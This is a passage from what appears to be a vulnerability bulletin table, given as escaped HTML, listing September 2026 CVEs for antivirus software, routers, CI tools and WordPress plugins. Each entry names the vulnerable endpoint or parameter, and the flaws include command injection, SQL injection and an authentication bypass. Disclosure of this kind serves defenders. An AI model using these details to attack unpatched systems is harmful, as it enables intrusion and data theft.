&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86784&quot; target=&quot;_blank&quot;&gt;CVE-2026-86784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WatchDog--Anti-Virus&lt;/td&gt;
&lt;td&gt;Incorrect default permissions in the installation directory of WatchDog Anti-Virus on Windows allow local, low-privileged users to modify, replace, or delete antivirus binaries and configuration files, because the installer grants the Users group Full Control over&amp;nbsp;C:\Program Files (x86)\Watchdog Anti-Virus. This may disable antivirus protection or enable privileged code execution if modified binaries are loaded by an elevated WatchDog process.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92252&quot; target=&quot;_blank&quot;&gt;CVE-2026-92252&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WatchDog--Anti-Virus&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access in the quarantine restoration process of WatchDog Anti-Virus 1.8.640 on Windows allows local, low-privileged attackers to cause a quarantined file to be written to an arbitrary filesystem location by creating a directory junction at the original file path and persuading an administrator to restore the file. This may enable modification of protected files or SYSTEM-level code execution through DLL hijacking.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92253&quot; target=&quot;_blank&quot;&gt;CVE-2026-92253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Watchdog--Anti-Virus&lt;/td&gt;
&lt;td&gt;Missing Authorization in the IOCTL handlers of the&amp;nbsp;wsdkd.sys&amp;nbsp;kernel drivers in Watchdog WatchDog Antivirus 1.8.640 (driver versions 1.3.0.0 and earlier) on Microsoft Windows allows local, low-privileged attackers to delete arbitrary files with SYSTEM privileges, bypassing NTFS access controls and potentially disabling security products or destabilizing the operating system, via crafted IOCTL requests sent to the \Device\wsdk device.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92254&quot; target=&quot;_blank&quot;&gt;CVE-2026-92254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wavelog--wavelog&lt;/td&gt;
&lt;td&gt;Wavelog is web-based amateur radio logging software. From 1.8 until 2.4.2, Wavelog exposes /install/ajax.php and /install/includes/interface_assets/triggers.php after installation without an installation lock or permission check. Unsanitized input reaches write_config() and write_configfile() in install/includes/core/core_class.php, allowing a remote unauthenticated attacker to read or write log files and place attacker-controlled content into PHP configuration files. The resulting PHP configuration content can execute on the server. This issue is fixed in version 2.4.2.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54237&quot; target=&quot;_blank&quot;&gt;CVE-2026-54237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Webkul--Bagisto 2.4.9&lt;/td&gt;
&lt;td&gt;An issue in Webkul Bagisto 2.4.9 allows a remote attacker to obtain sensitive information via the add-to-cart API and the downloadable fulfilment components.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79409&quot; target=&quot;_blank&quot;&gt;CVE-2026-79409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Webkul--Bagisto 2.4.9&lt;/td&gt;
&lt;td&gt;Improper validation of the quantity parameter in the add-to-cart path of Webkul Bagisto v2.4.9 allows authenticated attackers to reduce their order total below the legitimate price of shippable goods.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79410&quot; target=&quot;_blank&quot;&gt;CVE-2026-79410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Webkul--Bagisto 2.4.9&lt;/td&gt;
&lt;td&gt;Incorrect privilege assignment in the admin user-management component of Webkul Bagisto 2.4.9 allows an authenticated backend user holding only the settings.users.edit permission to escalate to full administrator. The user-update endpoint (route admin.settings.users.update, UserController::update()) does not verify that the actor is permitted to grant the requested role, does not prevent a user from changing their own role, and does not restrict assignment to roles whose permission set is a subset of the actor&#039;s own. By submitting a request that sets role_id to the Administrator role for their own account, a low-privileged administrator gains every admin-panel capability, including store configuration, payment gateway credentials, and customer PII.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79411&quot; target=&quot;_blank&quot;&gt;CVE-2026-79411&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebPros--Plesk extension &quot;Ruby&quot;&lt;/td&gt;
&lt;td&gt;Static Code Injection in Plesk extensions &quot;Ruby&quot; before 1.6.6 and &quot;Node.js Toolkit&quot; before 2.5.0 allows remote authenticated users to execute arbitrary code as root via custom environment variables.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68489&quot; target=&quot;_blank&quot;&gt;CVE-2026-68489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Webpros--SolusVM&lt;/td&gt;
&lt;td&gt;An insufficient check allowed for the overwrite of arbitrary files via a symlink.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68491&quot; target=&quot;_blank&quot;&gt;CVE-2026-68491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebPros--WHMCS&lt;/td&gt;
&lt;td&gt;Deserialization of untrusted data in WHMCS 9.0.0 before 9.0.8 and 8.0.0 before 8.13.7 allows remote attackers to execute arbitrary code.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67399&quot; target=&quot;_blank&quot;&gt;CVE-2026-67399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;webrecorder--browsertrix&lt;/td&gt;
&lt;td&gt;Browsertrix is a high-fidelity, browser-based crawling service for web archiving that can be self-hosted or used through Webrecorder&#039;s hosted instance. From 1.15.0 until 1.22.8, Browsertrix improperly sanitizes Git URLs specified as Custom Behaviors, allowing command injection through /api/orgs/*/crawlconfigs/validate/custom-behavior. A user with crawler or administrator permission on the specific instance can supply a crafted Git URL that executes arbitrary operating-system commands in the backend pod. Open registration or hosted free-trial access can make the required role broadly obtainable. Successful exploitation can expose, modify, or delete application database records, archived items, browser profiles, storage data, proxy credentials, and other configured service data. This issue is fixed in version 1.22.8.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54501&quot; target=&quot;_blank&quot;&gt;CVE-2026-54501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WNC--T-Mobile 5G Box IDU&lt;/td&gt;
&lt;td&gt;WNC T-Mobile 5G Box IDU router contains an authentication bypass vulnerability in the portal.cgi component. The session verification mechanism improperly validates the sessionid cookie by checking for the existence of a corresponding file in /tmp/login_user. An attacker can bypass authentication by using directory entries such as &quot;.&quot; or &quot;..&quot; in the cookie, allowing unauthorized access to the administration panel.This issue has been fixed in firmware version&amp;nbsp;1.1.0.651412&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40854&quot; target=&quot;_blank&quot;&gt;CVE-2026-40854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WNC--T-Mobile 5G Box IDU&lt;/td&gt;
&lt;td&gt;WNC T-Mobile 5G Box IDU router is vulnerable to a command injection. The vulnerability exists in the ping functionality within the /cgi-bin/portal.cgi endpoint, specifically affecting the ping_ip, ping_size, and ping_times POST parameters. The root cause is the failure to verify and sanitize user-supplied input before incorporating it into a system command. This allows an authenticated attacker to execute arbitrary commands on the shell and gain root access to the system.This issue has been fixed in firmware version&amp;nbsp;1.1.0.651412&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40855&quot; target=&quot;_blank&quot;&gt;CVE-2026-40855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WNC--T-Mobile 5G Box IDU&lt;/td&gt;
&lt;td&gt;WNC T-Mobile 5G Box IDU router is vulnerable to improper access control. The vulnerability exists in the wnc_maccheck.cgi endpoint, which is accessible without authentication. It allows a remote attacker to retrieve sensitive configuration data, including the administrator web password, WiFi passphrase, and technical device information.This issue has been fixed in firmware version&amp;nbsp;1.1.0.651412&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40856&quot; target=&quot;_blank&quot;&gt;CVE-2026-40856&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WNC--T-Mobile 5G Box IDU&lt;/td&gt;
&lt;td&gt;WNC T-Mobile 5G Box IDU router contains a cross-site request forgery (CSRF) vulnerability in the portal.cgi component. The anti-CSRF mechanism fails to validate the csrf_token_value parameter, accepting any arbitrary value as valid. This allows a remote attacker to perform unauthorized actions on the device by tricking an authenticated user into visiting a malicious website.This issue has been fixed in firmware version&amp;nbsp;1.1.0.651412&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40857&quot; target=&quot;_blank&quot;&gt;CVE-2026-40857&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WNC--T-Mobile 5G Box IDU&lt;/td&gt;
&lt;td&gt;WNC T-Mobile 5G Box IDU router is vulnerable to OS command injection vulnerability. The vulnerability exists within the /cgi-bin/portal.cgi endpoint, specifically through the cli_cookie POST parameter. The cli_cookie parameter value is directly concatenated into a find command string without proper sanitization. This allows a remote, unauthenticated attacker to inject and execute arbitrary shell commands as root on the underlying operating system. This issue has been fixed in firmware version&amp;nbsp;1.1.0.651412&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58146&quot; target=&quot;_blank&quot;&gt;CVE-2026-58146&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WNC--T-Mobile 5G Box IDU&lt;/td&gt;
&lt;td&gt;WNC T-Mobile 5G Box IDU router&amp;nbsp;contains an OS command injection vulnerability in the portal.cgi component&#039;s password change functionality. The application improperly neutralizes special elements in the http_passwd_hidden and http_passwdConfirm_hidden parameters, allowing an authenticated attacker to execute arbitrary commands on the underlying operating system with root privileges.This issue has been fixed in firmware version&amp;nbsp;1.1.0.651412&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58147&quot; target=&quot;_blank&quot;&gt;CVE-2026-58147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;woodpecker-ci--woodpecker&lt;/td&gt;
&lt;td&gt;Woodpecker is a CI/CD engine. From 1.0.0 until 3.16.0, pipeline/backend/kubernetes/backend_options.go defines backend_options.kubernetes.serviceAccountName, and the Kubernetes backend in pipeline/backend/kubernetes/pod.go copies that pipeline-step value directly into the pod specification without administrator authorization. Any user with Push permission on a connected repository can therefore run pipeline pods under an arbitrary ServiceAccount in the pipeline namespace and inherit that account&#039;s RBAC permissions. When a privileged ServiceAccount is reachable, the attacker can exfiltrate secrets such as database credentials, API keys, and TLS certificates and may take over the cluster. This issue is fixed in version 3.16.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61549&quot; target=&quot;_blank&quot;&gt;CVE-2026-61549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Directory Kit--WP Directory Kit&lt;/td&gt;
&lt;td&gt;The WP Directory Kit WordPress plugin through 1.5.7 does not check authorization or listing visibility in one of its shortcodes, allowing users with a role as low as Contributor to disclose non-public listing content, including password-protected and hidden fields, belonging to other users.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16592&quot; target=&quot;_blank&quot;&gt;CVE-2026-16592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Directory Kit--WP Directory Kit&lt;/td&gt;
&lt;td&gt;The WP Directory Kit WordPress plugin through 1.5.7 does not sanitize and escape some widget settings before using them in a SQL statement, allowing authenticated users with access to the page builder (Editor and above) to perform SQL injection attacks that execute when the affected page is rendered.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16593&quot; target=&quot;_blank&quot;&gt;CVE-2026-16593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Directory Kit--WP Directory Kit&lt;/td&gt;
&lt;td&gt;The WP Directory Kit WordPress plugin through 1.5.7 does not check the status or ownership of a listing before returning its content through one of its public AJAX actions, allowing unauthenticated attackers to read draft and unapproved listings belonging to other users.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18232&quot; target=&quot;_blank&quot;&gt;CVE-2026-18232&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Import Export Lit--WP Import Export Lite&lt;/td&gt;
&lt;td&gt;The WP Import Export Lite WordPress plugin before 3.9.33 does not validate a path taken from stored, user-supplied data before recursively deleting the directory it resolves to, allowing users to whom an administrator has delegated a WP Import Export Lite WordPress plugin before 3.9.33 capability to delete arbitrary directories, and every file within them, including outside the web root.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76553&quot; target=&quot;_blank&quot;&gt;CVE-2026-76553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Import Export Lite--WP Import Export Lite&lt;/td&gt;
&lt;td&gt;The WP Import Export Lite WordPress plugin before 3.9.34 does not validate a user-supplied output path when writing export files, allowing users granted its export permission to write files with arbitrary names to arbitrary locations on the server, leading to remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76550&quot; target=&quot;_blank&quot;&gt;CVE-2026-76550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Import Export Lite--WP Import Export Lite&lt;/td&gt;
&lt;td&gt;The WP Import Export Lite WordPress plugin before 3.9.33 does not restrict which PHP function may be applied to exported field values, allowing users granted its export permission to have arbitrary functions invoked on values they control, leading to remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76551&quot; target=&quot;_blank&quot;&gt;CVE-2026-76551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Import Export Lite--WP Import Export Lite&lt;/td&gt;
&lt;td&gt;The WP Import Export Lite WordPress plugin before 3.9.33 does not validate the type, extension or content of files it retrieves from a user-supplied URL during import, allowing users granted its import permission to store arbitrary files, including executable ones, on the server and achieve remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76552&quot; target=&quot;_blank&quot;&gt;CVE-2026-76552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Import Export Lite--WP Import Export Lite&lt;/td&gt;
&lt;td&gt;The WP Import Export Lite WordPress plugin before 3.9.35 does not verify that the user running an import is permitted to create or modify user accounts and assign roles, allowing users granted a delegated WP Import Export Lite WordPress plugin before 3.9.35 permission, who cannot otherwise manage users, to create administrator accounts and to overwrite the credentials and role of existing accounts, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76554&quot; target=&quot;_blank&quot;&gt;CVE-2026-76554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Import Export Lite--WP Import Export Lite&lt;/td&gt;
&lt;td&gt;The WP Import Export Lite WordPress plugin before 3.9.33 does not validate a user-supplied file path before reading it and copying it into a publicly accessible directory, allowing any user whose role an administrator has granted the WP Import Export Lite WordPress plugin before 3.9.33&#039;s import permission to disclose sensitive files from the server, including files located outside the web root. The same code path also relaxes the file-system permissions of any path it is given, whether or not the copy succeeds.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76555&quot; target=&quot;_blank&quot;&gt;CVE-2026-76555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Import Export Lite--WP Import Export Lite&lt;/td&gt;
&lt;td&gt;The WP Import Export Lite WordPress plugin before 3.9.33 does not properly sanitise and escape some export filter values before using them in SQL statements, allowing users holding its export permission, which administrators have by default and may also grant to lower roles, to perform SQL injection attacks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76556&quot; target=&quot;_blank&quot;&gt;CVE-2026-76556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Import Export Lite--WP Import Export Lite&lt;/td&gt;
&lt;td&gt;The WP Import Export Lite WordPress plugin before 3.9.33 does not properly sanitise and escape some import configuration values before using them in SQL statements, allowing users whose role an administrator has granted the WP Import Export Lite WordPress plugin before 3.9.33&#039;s import permission to perform SQL injection attacks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76557&quot; target=&quot;_blank&quot;&gt;CVE-2026-76557&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Import Export Lite--WP Import Export Lite&lt;/td&gt;
&lt;td&gt;The WP Import Export Lite WordPress plugin before 3.9.33 does not escape custom field names retrieved from the database before inserting them into the DOM of one of its administration screens, allowing users with a role as low as contributor to perform Stored XSS attacks which will trigger in the browser of a high privileged user, such as an administrator, viewing that screen.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76558&quot; target=&quot;_blank&quot;&gt;CVE-2026-76558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Import Export Lite--WP Import Export Lite&lt;/td&gt;
&lt;td&gt;The WP Import Export Lite WordPress plugin before 3.9.33 does not properly validate URLs before requesting them during the import process, allowing users with the import capability, which administrators hold by default, to make the site issue requests to internal hosts and services and read their responses. This is an incomplete fix for CVE-2026-11397.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76559&quot; target=&quot;_blank&quot;&gt;CVE-2026-76559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wp shortcut link and advertisement baner--wp shortcut link and advertisement baner&lt;/td&gt;
&lt;td&gt;The wp shortcut link and advertisement baner WordPress plugin through 1.2.0 does not sanitize and escape a parameter before using it in a SQL query on an AJAX action available to unauthenticated users, allowing unauthenticated attackers to perform SQL injection attacks and extract sensitive data from the database.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87767&quot; target=&quot;_blank&quot;&gt;CVE-2026-87767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPBot--WPBot&lt;/td&gt;
&lt;td&gt;The WPBot WordPress plugin before 8.7.6 does not perform a capability check on the AJAX action that saves its Claude AI provider settings, allowing users with subscriber-level access to overwrite those settings, including the API key used for the WPBot WordPress plugin before 8.7.6&#039;s outgoing AI requests.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87959&quot; target=&quot;_blank&quot;&gt;CVE-2026-87959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPGraphQL Smart Cache--WPGraphQL Smart Cache&lt;/td&gt;
&lt;td&gt;The WPGraphQL Smart Cache WordPress plugin before 2.3.2 does not require authorisation or validate a caller-supplied query identifier before storing a persisted query from a request, allowing unauthenticated users to publish arbitrary query documents and claim query aliases before a site&#039;s own frontend registers them.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92099&quot; target=&quot;_blank&quot;&gt;CVE-2026-92099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPLP Cookie Consen--WPLP Cookie Consent&lt;/td&gt;
&lt;td&gt;The WPLP Cookie Consent WordPress plugin before 4.4.4 does not perform CSRF or capability checks when processing bulk actions on its administration screens, and does not restrict the targeted items to its own records, allowing attackers to make a logged in admin permanently delete arbitrary posts and pages via a crafted request.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85131&quot; target=&quot;_blank&quot;&gt;CVE-2026-85131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPLP Cookie Consent--WPLP Cookie Consent&lt;/td&gt;
&lt;td&gt;The WPLP Cookie Consent WordPress plugin before 4.4.4 does not escape a value submitted through a public endpoint for the JavaScript context it is later output in on an administrative screen, allowing unauthenticated users to run arbitrary JavaScript in the session of an administrator who interacts with the logged entry. Only multisite installations are affected.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85130&quot; target=&quot;_blank&quot;&gt;CVE-2026-85130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpShopGermany IT-RECHT KANZLEI--wpShopGermany IT-RECHT KANZLEI&lt;/td&gt;
&lt;td&gt;The wpShopGermany IT-RECHT KANZLEI WordPress plugin before 2.4 does not generate its API authentication token securely, deriving it from data the requester controls and creating it as a side effect of the check that is supposed to validate it, allowing unauthenticated attackers to predict the token and use the access it grants to write arbitrary files, leading to remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88795&quot; target=&quot;_blank&quot;&gt;CVE-2026-88795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;XikeStor--SKS8310-8X&lt;/td&gt;
&lt;td&gt;XikeStor Layer3 switches miss authentication for downloading configuration data. Unauthenticated attacker may retrieve the configuration data containing network configurations and passwords to operate the affected product improperly or to exploit the affected product as a jump host.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88263&quot; target=&quot;_blank&quot;&gt;CVE-2026-88263&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Xpro Addons 140+ Widgets for Elementor--Xpro Addons 140+ Widgets for Elementor&lt;/td&gt;
&lt;td&gt;The Xpro Addons - 140+ Widgets for Elementor WordPress plugin before 1.7.9 does not validate or sanitize a widget link setting before storing and using it in a JavaScript navigation call, allowing users with the contributor role and above to inject and store JavaScript that executes in the browser of anyone who interacts with the affected widget.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84088&quot; target=&quot;_blank&quot;&gt;CVE-2026-84088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;xwiki--xwiki-platform&lt;/td&gt;
